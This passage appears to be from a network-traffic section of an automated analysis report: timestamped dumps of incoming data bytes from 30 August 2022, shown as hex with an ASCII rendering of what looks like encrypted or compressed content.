dR=7E)L4,av\.[RW?!SCR/fv{2)^GqrhLE@kl)
2022-08-30 13:55:00 UTC	196	IN	Data Raw: a2 6a b2 33 e6 0b c9 60 e3 07 8b 79 be 21 bf 13 82 62 6b eb 77 94 9d 5f 47 02 07 40 b5 7e 53 be 8b 52 97 2a 6b 67 97 db a2 6f b7 7a af 62 14 d9 ff 34 a1 4a 97 7a 14 d9 a3 1e d6 7b 77 aa c7 85 2a 78 bf f2 37 1b d7 3a 43 df 27 ea 27 9e d2 4b 17 fa a7 ec 20 1a d7 fa 36 68 a4 6b a3 dd 14 5e 91 69 16 da b7 cb 16 1b d1 fb 01 5a a0 1a fc 27 c8 8a f3 81 f6 63 37 ea 7a c3 cd e2 dc 9e cd 70 e2 fa 61 e0 ed 5c 32 0e 5d c6 1d 39 72 c0 bb d2 7b cf c0 9d 9b 5f cf 3b 7e b8 e2 d6 c0 90 18 de 66 16 16 a5 de 40 32 35 d1 e6 ba d5 88 9e d3 cd 0d 85 75 4a 17 b0 85 53 6f 20 8a f5 e6 d4 9d 93 0e 64 67 9b a8 8e 7a da 9b 8e c6 4a 94 28 22 b9 f7 bf 69 9e d8 b9 cf c2 cc 65 b9 e9 3c f5 b6 4f 6e 0f 48 af b4 37 b2 a7 12 06 a1 0f a7 34 95 9f a8 92 aa 62 22 2f 4f 24 f2 0f e9 7a ce 4f 0f Data Ascii: j3`y!bkw_G@~SRkgozb4Jz{wx7:C''K 6hk^iZ'c7zpa\2]9r{_;~f@25uJSo dgzJ("ie<OnH74b"/O$zO
2022-08-30 13:55:00 UTC	201	IN	Data Raw: 32 e8 07 9c 58 ee 79 0c 82 ec 53 7c 6b e3 91 20 4b e1 bb 50 21 e7 c5 c0 fb e5 ef b0 f5 eb 38 e1 2b e9 12 91 41 ef 6c 01 9b ed 46 71 5d f2 c2 a2 8b f0 e8 d2 e1 f6 96 42 3b f4 bc 32 35 fa 6b 63 eb f8 41 13 81 fe 3f 83 5b fc 15 f3 d7 6b 41 63 50 69 6b 13 3a 6f 15 83 e0 6d 3f f3 ee 63 e8 a2 30 61 c2 d2 5a 67 bc 42 80 65 96 32 46 7a 12 e1 90 78 38 91 fa 7e 46 01 20 7c 6c 71 2e 72 bb 20 f0 70 91 50 9a 76 ef c0 40 74 c5 b0 59 f2 31 a6 7c f0 1b d6 16 f6 65 46 cc f4 4f 36 c2 fa 98 67 1c f8 b2 17 76 fe cc 87 ac fc e6 f7 6a e3 62 24 bc e1 48 54 d6 e7 36 c4 0c e5 1c b4 02 eb cb e5 dc e9 e1 95 b6 ef 9f 05 6c ed b5 75 e0 7a e1 e5 67 78 cb 95 0d 7e b5 05 d7 7c 9f 75 d9 72 48 24 07 70 62 54 6d 76 1c c4 b7 74 36 b4 71 6b b2 67 a7 69 98 17 cd 6f e6 87 17 6d cc f7 19 63 1b Data Ascii: 2XyS\|k KP!8+AlFq]B;25kcA?[kAcPik:om?c0aZgBe2Fzx8~F \|lq.r pPv@tY1\|eFO6gvjb$HT6luzgx~\|urH$pbTmvt6qkgiomc
2022-08-30 13:55:00 UTC	208	IN	Data Raw: b1 3f 46 9e cc 83 a2 44 f0 42 21 ac a3 7a 6e b3 37 9f 56 d2 c9 4a 12 bc a6 2f c0 d2 2a 5b a6 02 77 f4 66 af e2 28 30 f8 61 22 78 3c 83 52 1c 37 98 c8 ad cf 2f 59 08 db 67 2c 3e 19 d1 1d a7 ab a8 c0 e4 ef 66 c3 75 72 03 21 6d 34 0d 76 1a f5 c8 35 13 1e 86 be d0 a8 f9 11 dd 6a a7 8e 2d fa 9a 64 00 00 ab da 7d 3e 8a 4c b0 47 a4 68 e0 75 d8 b7 8d c9 80 2c fd e2 a6 73 bd 87 9a f5 06 44 0f ca ec 9b bf bc c1 51 86 e4 69 e4 e3 13 5f af ad ae 23 c9 8b 8a 30 d5 f0 db 86 c3 43 22 c9 45 fd ad a0 e4 f3 f5 f4 19 79 52 22 1d a7 c1 fb f1 6c 22 e6 9a 35 1b b1 d6 ca e9 5a 72 eb b8 03 f7 38 85 53 d4 8f 44 aa 47 21 e0 1c c6 14 40 86 93 58 5c 38 2d e6 5a 23 93 b1 d7 18 35 7b 36 2d ca f3 64 17 f3 7e e4 81 12 f7 f0 d6 22 e7 08 e6 10 a5 1e d9 ce f6 fa 73 e9 72 fd af c4 22 29 2c Data Ascii: ?FDB!zn7VJ/*[wf(0a"x<R7/Yg,>fur!m4v5j-d}>LGhu,sDQi_#0C"EyR"l"5Zr8SDG!@X\8-Z#5{6-d~"sr"),
2022-08-30 13:55:00 UTC	224	IN	Data Raw: ca 85 4c 02 9b b5 0e e0 2b 03 88 71 b8 07 d0 7c b4 7d 96 5f a4 64 c7 03 c2 8c 71 7b 96 26 a7 18 d5 36 f7 52 b6 60 bd 60 a5 67 9f 7a 91 f8 72 6f f6 62 8b 8f 4b 6f 45 a1 8a 46 c7 24 48 ef d6 5e 89 65 c6 18 5f 85 42 e9 c7 89 0b 07 66 e6 f8 bb 26 c4 4b 72 92 c6 16 9a 03 33 fb 11 fc 4b a4 2c c3 7b d4 28 9f 52 ef 22 07 9b f6 53 9e 47 ea 0a 91 3c c6 49 d3 1c 86 38 f4 5d 72 8a 88 47 87 10 fd 59 94 2d 80 3d bd 47 cd 4a 8d 08 f0 1f db 62 13 09 85 c8 90 6b f2 0f ea c2 46 16 5a f9 d4 58 b0 41 c9 1f bf 62 b0 79 b2 7b 91 ea 54 0e 83 48 96 4e 10 88 ee cd 03 c2 43 67 ee 37 fb 48 05 e6 a9 46 a6 77 70 a1 a4 c3 67 26 8a ce 62 6f 47 89 a4 3b 83 7a b0 61 8b 4c b1 af 75 4c 9c 6e a9 6e fe 07 d2 5f a8 35 c2 50 ed 5a c7 4b 9a 3f ee 26 a0 41 54 98 b6 30 cc 2d a1 c6 eb ef 72 3a 3c Data Ascii: L+q\|}_dq{&6R``gzrobKoEF$H^e_Bf&Kr3K,{(R"SG<I8]rGY-=GJbkFZXAby{THNCg7HFwpg&boG;zaLuLnn_5PZK?&AT0-r:<
2022-08-30 13:55:00 UTC	240	IN	Data Raw: a3 ef 42 0a c2 85 2e 69 9e 56 c2 0a f4 59 c3 61 0f ce a4 94 d8 8b c4 67 26 e6 a4 dc 9f 87 c1 2e 07 8e 0c 50 30 69 a6 0b c7 7c b4 0f c3 b1 98 80 42 02 23 69 26 fb 2e f0 a4 0e a3 0e e7 e3 69 69 a7 81 fc d9 a4 d9 a5 d8 a4 6a 23 43 09 69 4e 7e 59 29 e7 09 cd 67 a3 79 94 5f 84 09 92 0a e0 4d c7 20 8d 0a e9 44 c7 3a a2 db 43 3d 14 8e fa d7 47 3e 93 0a f2 6a 92 0a eb 46 c7 30 9d 0a fc 51 c7 60 b8 1f c7 8e 23 0a 5f 76 43 6e a2 6b 0d c0 46 8a ac 80 47 9c 31 08 a4 8b 47 c0 0f 08 c7 6d c0 0a af 02 c7 a5 08 08 ff fe 09 0a fe 53 c7 0b c1 6d 43 8c a0 92 ba 8a a1 0c c7 aa 65 37 f8 55 9c 51 9c 51 9c 01 f7 51 9c 51 9c 51 a3 7a af 22 f5 58 97 ea 36 b0 6e 69 a6 68 a5 6b 96 5a a7 79 ca 15 86 51 bc 22 5f db c6 9a 32 6b a3 17 e5 46 b4 56 a4 2d b2 27 eb 26 f1 79 b0 69 56 d7 bd Data Ascii: B.iVYag&.P0i\|B#i&.iij#CiN~Y)gy_M D:C=G>jF0Q`#_vCnkFG1GmSmCe7UQQQQQz"X6nihkZyQ"_2kFV-'&yiV
2022-08-30 13:55:00 UTC	256	IN	Data Raw: 07 48 1e 13 8b cf a9 40 22 bb 32 93 b5 58 1e 83 0e af a9 50 32 cb 6a a7 ab ad 6b 27 61 2d 63 ec ab 2c 41 c4 e1 28 2e aa c4 86 2a 86 0a af a5 e3 7b 95 ca a5 68 e7 2b a4 af e2 ec 92 5b a6 6b 60 2e 46 8e 41 08 e5 35 b8 4a 86 4a 80 35 bf 6b 60 a5 64 bd df 7e 97 43 ae 62 ce 75 3a 4b 64 1c 11 94 33 3b 5d 02 64 18 b6 ae 2b cf 54 5f 44 4b d2 13 10 48 1f 4b ee a9 64 ed 80 cc 68 f9 3e 26 e6 ea fe 72 aa 48 2e 8c e0 03 e2 22 9b f0 2d e2 61 95 df b5 99 1e f6 ec 68 46 ee ca 6c 29 64 81 fa 3a b3 e7 fb 10 48 1e f2 77 64 a8 de a5 4d 38 32 1f 60 31 17 aa cc 4b b3 5e 87 2b c0 5d 3c 14 5d 7a 9b 4e 2b f6 f1 8d b9 70 17 8a 54 86 ec 5c 35 e5 fe ae a3 9d 0c 10 94 7a 65 ba f4 b9 ee a0 58 6a 4d 63 18 cd a3 ea 63 95 9d 5b 1d 60 d3 24 6d 9b de 8a c0 80 4b a1 96 89 5f f9 d9 6f 40 a6 Data Ascii: H@"2XP2jk'a-c,A(.*{h+[k`.FA5JJ5k`d~Cbu:Kd3;]d+T_DKHKdh>&rH."-ahFl)d:HwdM82`1K^+]<]zN+pT\5zeXjMcc[`$mK_o@
2022-08-30 13:55:00 UTC	265	IN	Data Raw: a5 7d 19 d0 6e 2c aa a4 ca bd ba e1 8e 16 d2 6d 69 e6 07 c1 06 81 ed 63 68 a6 83 ed 09 42 03 6f 65 ea 0e 18 bf 87 cb 06 82 a3 66 24 aa ac ca d8 fd 96 3a fe 56 dd 16 6d c6 6b c1 ed 13 74 85 a2 4b 89 5c d7 a9 6f 21 e7 a9 2e 3b 74 61 ee e0 64 a9 df 12 af 29 75 f3 66 b3 b7 8b 04 0e c5 ed 5c f2 49 5e 16 1c 63 3b cf 76 cd 2f f2 03 b7 31 e3 6a a7 82 54 71 a4 69 82 b0 58 6a a7 ea 5a 1e 51 5d 62 61 a1 0b bd d1 02 44 e4 e9 fb 42 58 ad 28 a9 65 63 6f e6 a9 21 87 0c 9b 29 c3 04 06 b8 a7 52 9e 02 eb 31 d6 a3 20 0e 6b 0a 2c 69 a7 8b 47 e2 46 2a ce 1b 75 ac 23 67 42 a9 40 86 df ba 75 92 39 fa f4 f6 d1 f2 fb 1b eb ad f0 e5 f2 3a a0 28 44 a6 9e 88 4b 67 a1 7a ff 11 50 e6 df 17 b2 7b 67 e1 ce c1 3f eb 33 ae 4d 11 f2 27 2e 90 34 c7 63 98 04 4d 58 7f 04 ae d1 6e e3 a5 dc 92 Data Ascii: }n,michBoef$:VmktK\o!.;tad)uf\I^c;v/1jTqiXjZQ]baDBX(eco!)R1 k,iGF*u#gB@u9:(DKgzP{g?3M'.4cMXn
2022-08-30 13:55:00 UTC	272	IN	Data Raw: aa e4 62 b5 90 cf 7c 88 23 62 2f c9 14 b6 0a f5 68 96 0b 16 49 e0 de 96 75 29 f0 b6 67 db 01 17 a6 8a 32 66 8f ef 0c 45 ea 4e d3 c7 33 65 31 67 33 f6 52 ec b3 2f 91 55 60 d6 af 07 dd 2c cb 04 a9 6c 31 d7 12 d4 b9 40 e7 a7 89 45 ef 58 bb 8d 68 fa 27 fd ad 2e 2e 27 e2 d4 94 6d e3 c2 19 23 62 bf 2e cc a9 07 f3 8b db 2b ab 24 ea 2d a2 cb 0f 65 21 2f 09 49 2f 6f 19 64 da e0 22 18 53 66 6a 50 4d 3f 19 5b a2 2e 95 df da 17 e6 1e 66 d7 a7 dd 9a 4c 0a 64 ed 67 22 57 72 6e 42 ce 42 3d e0 47 95 2f 8b e0 4a 9d 9f 1a 3b a6 db 20 b4 84 7e 2a 55 6c 19 99 ad 2c f5 3d ea 2d a2 94 11 4c 17 38 4d 02 5e f8 a2 cc a7 d4 e9 b8 ec fa eb d4 29 17 23 ce 8b 97 30 f4 a2 ac ea ca 85 2f 82 a2 87 ac 37 80 b6 ca 0b 17 33 e5 30 c2 95 2c 2d d4 1c b0 7f 1f c2 fb ab 2e 51 d0 22 2a f3 d9 48 Data Ascii: b\|#b/hIu)g2fEN3e1g3R/U`,l1@EXh'..'m#b.+$-e!/I/od"SfjPM?[.fLdg"WrnBB=G/J; ~Ul,=-L8M^)#0/730,-.Q"H
2022-08-30 13:55:00 UTC	283	IN	Data Raw: 2e c7 76 76 b0 6a 6b a7 97 69 af ae 22 66 bf df 56 ea 3f ef af 46 22 73 d2 6e 07 49 78 b6 35 72 e4 2d 46 01 6f a7 22 dc 9d 2b ab 6b 2f a8 75 00 c0 1b 24 48 67 27 ab cf 0e b7 72 66 5f 3f 66 8f 4b 6e 82 60 73 86 6a 6b a6 9e e9 c6 8e 24 29 fb 5c 16 b0 fa 4b 7a 43 2e 47 12 ba ed 4e 0c e2 ac 67 b7 69 07 d5 1f 0e 74 7c 19 4b 53 37 6f ca 66 9e 02 b2 a4 89 ce b1 88 17 f1 41 52 e2 ad f0 37 69 1c d2 4f ce 18 66 a7 9a 1f 98 62 1a 13 21 1f d8 a2 c6 0b 02 cf e3 53 df 09 8f dc 93 a9 6d 2a 79 31 6a 1c 5a 61 af 67 2a 22 f2 95 cd 67 4c 48 9f ff ee 2f 07 d1 90 26 a2 24 49 07 6f a2 15 48 ff e2 a5 2d 35 7d 78 36 e8 36 7b 1d b9 bf 6e ac 6a d8 64 ab 30 fe 65 2c 87 e9 36 5c eb a6 6b 6a a7 6f af 2f 28 39 b2 f7 bf 66 87 0f 6f 9e 8c 79 6e af 25 64 a6 64 e2 cd 4b 66 a6 7a f1 bf 43 Data Ascii: .vvjki"fV?F"snIx5r-Fo"+k/u$Hg'rf_?fKn`sjk$)\KzC.GNgit\|KS7ofAR7iOfb!Smy1jZag"gLH/&$IoH-5}x66{njd0e,6\kjo/(9foyn%ddKfzC
2022-08-30 13:55:00 UTC	294	IN	Data Raw: 4d 33 2d 7b f1 43 a2 cb af a5 69 28 ff 3c 20 6f ec e1 a9 7b 57 83 bf 72 7b f0 28 05 c8 86 4e 8b 03 6b 74 01 ad 6f 8e c4 15 75 ea 3e 83 5e 23 87 d1 ac ad 00 ef 82 2b e5 ad 60 b1 3e a6 a3 e3 1c 03 a2 97 4c 60 67 20 c7 5a b3 2e e5 b0 3a 5e d3 5d 55 21 61 e6 32 37 bf 28 77 96 8a 29 2e bb ab 0a a3 bb 58 a5 a6 6a 6f a1 8f 71 59 f6 1e 7d bb 1a 34 7c 7c 06 cb 74 b0 ef 3d e2 3b 62 87 0f e5 a9 a6 be b6 e7 2f 8b 09 25 ef 2b 22 64 34 eb e5 3f ca 21 58 71 e8 a0 ce 86 d0 9b c4 9d c5 7f 84 a0 8f 84 ad 2f e2 5e eb 17 f7 37 ea a2 34 31 26 7c fd d4 1d c3 0b 04 f8 d7 86 4a eb ab b6 d2 d2 b1 64 a8 2c 31 c4 1b 65 8a 8c 63 65 e1 d4 51 a6 a8 cf c8 b9 74 26 f4 b8 76 bb 77 a4 05 55 59 db a7 c7 1d b8 a3 ca 26 b5 4c 36 63 5f fa 15 30 7a ae 7b a8 d4 55 61 1b 8a 36 85 0c 85 49 68 23 Data Ascii: M3-{Ci(< o{Wr{(Nktou>^#+`>L`g Z.:^]U!a27(w).XjoqY}4\|\|t=;b/%+"d4?!Xq/^741&\|Jd,1eceQt&vwUY&L6c_0z{Ua6Ih#
2022-08-30 13:55:00 UTC	301	IN	Data Raw: 92 f4 03 65 02 1b 31 60 65 6a 6b e7 7f b3 7f b2 2b f1 7d b1 75 62 4b 2f 46 be fa 04 c9 ca 7e 5e 77 30 e4 88 42 e7 28 95 6b 50 e6 66 66 c2 8a a4 69 a7 2f d1 bd 0b af 28 3c 72 1a 5b 5a 1a ee a3 2f c2 c1 d0 7e 4e e1 aa 16 a9 ef 9e e2 1b 9a fa b8 c6 41 45 43 59 47 30 ae d9 d6 1d 10 ee 6a 62 72 f3 ac 64 d2 5b af 69 15 ac 80 74 0e 06 14 cc e1 7a ab 67 10 cc 3b db 53 af af 5c 7c c2 16 9f ef 66 69 a5 16 5a ea 8e e9 0d 6a a7 17 9f 2d d8 92 67 20 f1 72 e9 6c e3 af 82 84 d2 18 6f 8b ef ce 26 23 66 7f 1f 6e 82 6e 2d 69 9b fa ab 80 64 d7 3f 7e 57 ab ae 6d b7 f5 a7 87 ca 2b 19 53 54 1f 60 a9 a3 ad e3 69 4d 82 79 3e 62 b7 a2 ff 54 99 67 1c 89 32 99 54 0a 87 cd 08 eb c5 4c a7 4a 8b 3b 17 82 1f d7 6b 6d 3d 84 80 a0 3a fb 01 78 8e 28 a5 c9 cb e2 b6 be 9e 3a 03 c8 ce 71 b7 Data Ascii: e1`ejk+}ubK/F~^w0B(kPffi/(<r[Z/~NAECYG0jbrd[itzg;S\\|fiZj-g rlo&#fnn-id?~Wm+ST`iMy>bTg2TLJ;km=:x(:q
2022-08-30 13:55:00 UTC	307	IN	Data Raw: 8a cd e1 2f ef 28 39 fe f2 ce 56 60 22 6c 2a 64 b6 70 dd 9f 8d c0 e6 a0 6e a7 2a d7 4d fc ad 5b 15 2f a6 c0 b3 1c e2 98 97 24 f5 b8 1e c3 36 60 a6 f0 36 c0 45 61 e1 2e c9 2c 39 e0 69 a7 95 ef af 2e 9d 1c ab 69 3d e1 76 2e a8 e6 69 fb f4 5a 76 47 dd d0 79 f6 3b b1 18 5c 6a eb 9f fa c3 16 53 3e c9 5d 28 ed 6b 60 45 4c 60 5f d3 ff cd 93 7c c2 2c fe 0d 2f 84 dd e7 06 d3 48 0c 2f 84 68 4b 49 05 c2 b6 17 26 b2 93 8f ab a0 e7 e4 33 74 3c 5b b9 18 6e 65 c0 7a 1e e7 79 f9 e6 19 0c ec 39 f3 6a b2 7e aa 73 b0 7d a7 44 4a bd ca d3 73 76 ee e1 dd d2 65 21 2b ad c6 81 26 52 53 ad 25 2e 61 01 0a 07 ac a0 0f e2 9a d6 de a5 5e 65 23 c7 8c 68 a7 26 60 a0 e7 2b dc 20 de 2b 65 29 26 08 8c a4 21 e3 9f 90 ec 19 52 2c 20 e6 2d e3 a9 a9 c1 b0 54 2c ed de dd cd 41 eb 27 d6 59 e1 Data Ascii: /(9V`"ldpnM[/$6`6Ea.,9i.i=v.iZvGy;\jS>](k`EL`_\|,/H/hKI&3t<[nezy9j~s}DJsve!+&RS%.a^e#h&`+ +e)&!R, -T,A'Y
2022-08-30 13:55:00 UTC	312	IN	Data Raw: 0f 3e 89 c8 e0 0c 87 82 0b 75 30 a6 f3 e6 fa ef ef e2 de ff 02 68 27 a7 ac a7 1d 98 af 62 23 ef a8 3c ac 99 65 9e b5 bf 3c e0 23 e6 db 29 11 68 24 2a a9 ff b9 4f a7 51 47 a6 dd 64 2a 50 be 5e 79 96 58 f7 3b 6d a0 f6 67 df 0e 97 52 64 9d ff 36 df be 23 3a e6 75 3a 65 a7 e6 b1 6b f1 69 6d 92 db ad dd d3 62 b3 79 c4 83 ba fe e2 e5 c1 dc f1 af 57 18 94 5a ec 50 1f dd e1 84 bc 1c c2 67 39 d8 4c b7 23 f6 b7 45 84 6e a6 d4 c7 74 ab 28 6b 61 12 5e a3 65 a8 6f a2 ba bf 6f 6b 65 af 61 aa fb ed e6 3b 6c 5d 5a f1 e2 12 db be 63 a9 2d 20 ec c4 48 75 a6 b4 62 3c 79 a4 a5 2a b4 b9 8d e0 cf a9 3c a3 96 e0 c7 69 0d 0a 84 68 49 93 a5 95 c2 44 fc f9 ee 5f 58 95 4d fa 4a 01 a4 d3 88 bd 66 60 d2 80 e0 51 cd 69 20 26 ec 02 25 fe a6 6a 6b 99 67 02 eb 6e dc b0 41 5e a1 be ed 91 Data Ascii: >u0h'b#<e<#)h$OQGdP^yX;mgRd6#:u:ekimbyWZPg9L#Ent(ka^eookea;l]Zc- Hub<y*<ihID_XMJf`Qi &%jkgnA^
2022-08-30 13:55:00 UTC	318	IN	Data Raw: 22 05 5d 6b b0 96 17 ab 1b da e6 66 43 87 32 f6 09 f5 1a 31 ac a8 f6 95 90 b4 3a 3f 33 42 22 a3 bf 59 43 7a 9e 5b 96 6a d9 70 cd d2 a9 d4 de bd f4 5c 11 98 88 09 18 73 bd d4 99 5e 2c 1d 96 83 15 f6 3e 02 91 9e a9 5d 60 e7 39 dd 47 ee 7c 08 4d b5 a6 ab a2 0f 7b de 32 ac 42 26 da 1d dd ed f1 b8 a2 be 70 8d 4b a6 4a 86 ef 6b a9 4c 39 63 db e2 69 df 1e a7 5e a1 a4 4f 02 db 16 9f a9 40 ba 3f 36 ac 15 8e 56 45 89 6f f6 1a 90 b4 3c 5d 7e 03 2f 74 08 45 fc aa f3 e7 7b 96 a2 e0 94 a9 b5 c8 55 77 3a b0 a3 64 a5 74 9b b5 91 1e de c2 0a c6 e5 4d d5 85 b0 f4 83 1e 3a e4 d9 53 3f 67 f5 2a ea 24 eb ef 63 65 20 91 14 26 ba 37 6b ed b0 07 1b 9f 32 d0 0c d6 db a6 a7 86 12 ab d3 36 ca 69 7d 3c 8b 10 13 e1 01 2a 21 23 c8 87 0d c5 cd 25 46 e7 22 a3 46 2b e4 be af 75 de 37 45 Data Ascii: "]kfC21:?3B"YCz[jp\s^,>]`9G\|M{2B&pKJkL9ci^O@?6VEo<]~/tE{Uw:dtM:S?g$ce &7k26i}<!#%F"F+u7E
2022-08-30 13:55:00 UTC	334	IN	Data Raw: ad cf 16 3e bb e7 b1 ad e0 ec ea 67 aa 51 a4 e0 d6 64 f4 7e ef a6 e8 96 58 a8 7b 1f 4e a4 a8 a1 8b 09 e2 a9 66 a8 ec f2 b4 ff 76 3e df 30 80 3c 65 34 a3 bd f3 be 23 da 1f a5 e1 01 7c a9 1d e8 f1 21 be 61 aa ec 6d a8 bb c6 95 83 a6 b3 b2 4f 33 7f 2f a2 f1 a2 6b fd 33 39 ab c5 4a b4 71 6e 07 9a 78 3e 35 fa a2 71 73 48 9b b9 75 ba 67 a7 d2 74 89 ff 85 13 f1 c1 78 18 e0 85 08 a5 79 b5 bb b9 f2 93 cb 0f 57 73 36 9a c8 e9 55 d4 3a b3 a5 68 22 8f 7a 52 17 9b 5d f8 b0 ed 13 b7 7b 95 1c c7 76 9e 24 d0 13 5f af c2 72 a6 2d 85 16 5e ae 42 ad 25 cc 7a 1d 3a a2 8a fb e7 44 2d 70 58 03 61 e4 fd 51 ae 02 ef a3 62 47 c3 46 af 40 c9 23 c2 40 4d 8a a4 97 c7 15 04 c8 1d ef 4c 6b 3d 47 03 d5 9f d5 96 21 3a a2 54 8e 5e 80 30 69 24 b3 08 46 9e ab 2d 70 16 2a a2 0e 48 c5 28 35 Data Ascii: >gQd~X{Nfv>0<e4#\|!amO3/k39Jqnx>5qsHugtxyWs6U:h"zR]{v$_r-^B%z:D-pXaQbGF@#@MLk=G!:T^0i$F-p*H(5
2022-08-30 13:55:00 UTC	347	IN	Data Raw: 22 93 74 1a 5e 83 27 96 07 8a 52 10 56 02 8f 18 56 fd 30 d2 e9 1d ab 53 1b af 95 9b e4 61 26 ed db 06 d6 57 b2 25 36 98 5e 0b 1a ee a8 6e 2e 00 cf cf 22 bb 16 02 02 42 a6 23 7e db ad ea 3c 34 41 de ac 39 73 bf 26 c7 ee 7b b5 ab c7 a5 6a 22 2f ec 1c 1a 25 3c 39 21 db 02 52 35 80 a3 cb f6 bb ed dc 1e 7d f4 51 07 c3 c8 22 26 cc 64 a1 b4 8d 4d 17 6f c9 e4 2d e9 a8 e2 64 ec 31 fc 19 b7 eb ed 4e 14 d8 e4 af a0 2b 60 6f 93 69 46 99 81 2c ec eb 29 68 92 50 a8 25 64 bd df ca 43 8f 12 7c fd 32 eb 76 43 4b 16 64 e0 18 53 d1 c8 9a 58 ee 7b ad 50 32 43 8e ef 22 9b 62 37 02 12 0e 9f 6b 4f 36 53 2c 8a b3 48 97 65 40 5e ad b1 5a ec 79 64 e0 d7 86 4e 7d 41 3d 0d 78 80 34 24 a3 5e c9 ad 2a ce 31 f1 c6 dc 12 a5 1a 55 16 cc 37 8c db 76 77 a9 92 37 7a ce 3a 68 81 f5 a6 44 34 Data Ascii: "t^'RVV0Sa&W%6^n."B#~<4A9s&{j"/%<9!R5}Q"&dMo-d1N+`oiF,)hP%dC\|2vCKdSX{P2C"b7kO6S,He@^ZydN}A=x4$^*1U7vw7z:hD4
2022-08-30 13:55:00 UTC	352	IN	Data Raw: b7 7d 95 a7 f3 48 e5 ed ad ea 84 80 d2 c5 3f 3e 15 c1 58 92 85 8d 49 e6 c8 4e 84 4a 08 ac 73 1f c2 35 40 d7 3b a6 9b 2f d3 18 71 f7 06 c4 e2 3a 85 28 64 06 ca ce 53 f9 75 81 2c 04 d6 98 1e e9 40 b3 86 fb 5c fc 32 74 4c f7 16 cc 8b 35 63 2f 9a 93 2e 6f e5 49 0c 09 4f 12 df a0 7c 03 dd a6 0a f8 55 d5 11 80 fb 21 72 31 5f 5d b4 43 1d 54 ea 0c e2 cb d2 1e de fc 86 ee ee ea a5 e0 90 4d ff 77 3b e6 5a d3 46 c7 e2 16 6f 33 ce 68 a2 e6 24 ab 7c 85 13 29 92 8c 3a ab 10 d6 1f d7 88 52 ad 31 a5 67 30 66 9d 48 4a 6d bb 31 3b 18 b2 d6 74 cb 4e fb aa ed 3b 54 45 77 51 76 bf e6 ab 6e a0 d4 c8 26 98 10 25 7e e0 b1 12 ea 0f 39 80 37 52 10 d6 2c 4f 71 c9 62 0e 06 9f 41 71 0b dd 45 e8 d5 7a be 09 84 a9 7d 0b d6 93 d9 9c a7 7f e3 49 1a 80 45 9d a1 5c 9d ac 64 e1 d2 ad a1 4a Data Ascii: }H?>XINJs5@;/q:(dSu,@\2tL5c/.oIO\|U!r1_]CTMw;ZFo3h$\|):R1g0fHJm1;tN;TEwQvn&%~97R,OqbAqEz}IE\dJ
2022-08-30 13:55:00 UTC	358	IN	Data Raw: ca 6f 69 ed d2 7f 48 45 d8 7c 49 10 15 91 3c b7 0f 37 ef 9f 16 e2 53 20 1a 48 6f 85 4d a2 3f a3 31 2d bf 97 15 02 91 98 5c ba df 61 7a 92 6c ae 66 a2 44 8d 6e d4 ff 44 6f 21 c7 c5 ad 98 1c 6b 86 c3 09 c9 e0 c5 51 be a0 e9 ea c9 84 2e 05 04 92 9e a7 a6 25 9e 91 37 c3 0a ff 65 3d 03 61 f7 11 cf 39 b7 d1 4c 15 ca 35 cd ab a1 00 2f 03 ee a8 25 2a d5 98 1a 09 b0 e1 7d 1f b8 bb 01 ad 2d eb 5f 1f de 1d 5b d4 de 52 e2 2f ea 1c 5d de 3b 08 6f 39 27 d1 c8 0a bf d6 10 d3 bb 58 10 6d f3 a5 77 75 e3 37 ba 6f d9 41 6d bf 2b 68 24 6a ee 29 eb 2e 9c 0a d8 3d d9 23 e2 e0 2d aa 70 3d 6b a4 e5 80 1e 7c a1 11 1c e9 d5 1e e4 a7 2c 69 e2 0a 08 62 a5 e8 97 8b f5 89 85 24 a8 c5 c9 ea 11 6d 16 a0 fd 7b 26 28 64 6b 8c 84 63 25 48 0c a8 c2 04 e1 bd 78 22 55 5e df c5 7f e6 a6 6b d4 Data Ascii: oiHE\|I<7S HoM?1-\azlfDnDo!kQ.%7e=a9L5/%*}-_[R/];o9'Xmwu7oAm+h$j).=#-p=k\|,ib$m{&(dkc%Hx"U^k
2022-08-30 13:55:00 UTC	365	IN	Data Raw: af 7e 9e 02 e6 82 84 c1 2f 8b 6f 64 29 23 86 01 3c b3 93 0a 8a 56 2a 59 c9 eb 3a e2 2f 2c 26 24 21 ec eb 9d 80 14 42 d9 99 14 d9 d0 57 6f ed 58 03 7e 22 d6 1a ef ab 68 64 07 0f b7 e3 4c 6a d8 ea f7 4a dd 14 f6 07 ff f7 64 5c 97 c0 4d 59 5d df d1 7f 98 44 e0 24 ed c0 0c a5 6c ef 8a 5d bd af a7 5b d6 2a 6d 4b cc d6 29 5b 18 10 95 3e bc 41 8d fc f8 d2 8d 33 4f 8d 92 d8 11 20 3b df 1a e2 bf a9 af e0 6f a9 20 2a 60 68 8b 2b 0a a8 63 6c 65 59 df 6f fb 2a a7 be 84 cf e4 79 71 b6 be 75 a6 6b a2 1e 83 50 e7 3b 24 99 06 b1 cd 8a 8b 24 8c 86 e4 3b 88 20 4c 78 d2 ad ef 03 7f dc 95 48 ce 7a fc 4e c3 ce a3 ee af 0e 66 e2 c6 5e e7 36 60 e3 6e 71 77 4a b4 8b 46 90 86 36 3b a5 f1 da e2 2e 38 f5 86 71 2d e9 92 f4 cf 8b 47 88 84 b2 a6 a9 8d 6a a7 95 9f 96 e7 09 cd da 48 63 Data Ascii: ~/od)#<VY:/,&$!BWoX~"hdLjJd\MY]D$l][mK)[>A3O ;o `h+cleYoyqukP;$$; LxHzNf^6`nqwJF6;.8q-GjHc
2022-08-30 13:55:00 UTC	370	IN	Data Raw: 6b 94 05 04 b4 54 e6 06 e8 10 1b e3 2b a7 0b b7 10 6d db 94 58 57 f1 b4 a9 dd d7 60 23 6d 2a 6e 2a 15 75 31 78 83 b2 d2 ea 3a 63 c0 c0 c9 dc a1 5d c9 3d ee bb 6a 67 c8 6b a4 77 6b 19 4d 13 35 b8 1a ab 57 e8 40 af 89 55 3a 56 54 99 0b b7 0f 65 89 a9 a2 35 38 60 a0 59 d6 1b 99 42 8d ad aa cd f7 5a e3 3c 86 ae c0 be e7 20 1e d0 bb 7a e6 10 5d de 9b 6b 6c d5 9b bb 77 1e 90 6d d1 99 2f 26 2e 69 88 ca e7 a0 fe 50 8c eb f7 0a 51 c2 74 80 4b e3 9b a3 bc 34 c5 b5 3a f6 e0 59 6f c1 90 12 a5 45 17 e0 9a 2d e9 8d 49 51 9c 95 5b 7f 8e 03 5a e8 c4 4e 17 f9 99 dd bc 8b 53 ff ce 92 37 76 60 45 27 8e 17 06 8b 03 dd c8 29 f5 37 23 65 38 4e 00 15 d2 ed 61 96 2f 97 1f f5 48 dc 8c 26 ad 2c 92 d6 b3 c7 1b 6d 37 99 2e b2 30 c5 6f 83 